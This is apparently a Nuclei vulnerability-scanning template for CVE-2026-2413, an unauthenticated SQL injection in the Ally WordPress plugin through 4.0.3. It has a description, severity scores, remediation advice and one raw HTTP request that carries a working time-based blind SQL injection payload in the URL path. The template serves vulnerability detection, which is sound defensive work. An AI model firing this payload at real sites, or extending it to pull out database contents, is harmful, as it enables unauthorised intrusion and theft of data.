id: CVE-2026-2413

info:
  name: Ally – Web Accessibility & Usability <= 4.0.3 - SQL Injection
  author: Shivam Kamboj
  severity: high
  description: |
    The Ally – Web Accessibility & Usability plugin for WordPress is vulnerable to SQL Injection via the URL path in all versions up to, and including, 4.0.3. This is due to insufficient escaping on the user-supplied URL parameter in the `get_global_remediations()` method, where it is directly concatenated into an SQL JOIN clause without proper sanitization for SQL context. While `esc_url_raw()` is applied for URL safety, it does not prevent SQL metacharacters (single quotes, parentheses) from being injected. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via time-based blind SQL injection techniques. The Remediation module must be active, which requires the plugin to be connected to an Elementor account.
  impact: |
    Unauthenticated attackers can extract sensitive database information via blind SQL injection, risking data disclosure.
  remediation: |
    Update to a version later than 4.0.3 or the latest available version.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/pojo-accessibility/ally-web-accessibility-usability-403-unauthenticated-sql-injection-via-url-path
    - https://nvd.nist.gov/vuln/detail/CVE-2026-2413
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-2413
    epss-score: 0.27276
    epss-percentile: 0.96474
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,pojo-accessibility,unauth

http:
  - raw:
      - |
        @timeout: 30s
        GET /x'OR(EXP(~(SELECT*FROM(SELECT(SLEEP(8)))a)))OR'/ HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

    matchers:
      - type: dsl
        dsl:
          - 'duration>=8'
          - 'status_code==404 || status_code==200'
          - 'contains(body, "registerAllyAction")'
        condition: and
# digest: 4b0a00483046022100ceb63d76bc9b04b425e059aa7a41d582399be8568a96c441b73622d5097ab1ba022100ad7cbed05f5f6a3d69cd1c0c91371126efa1802e3db3498e34c48d722755b71e:922c64590222798bb761d5b6d8e72950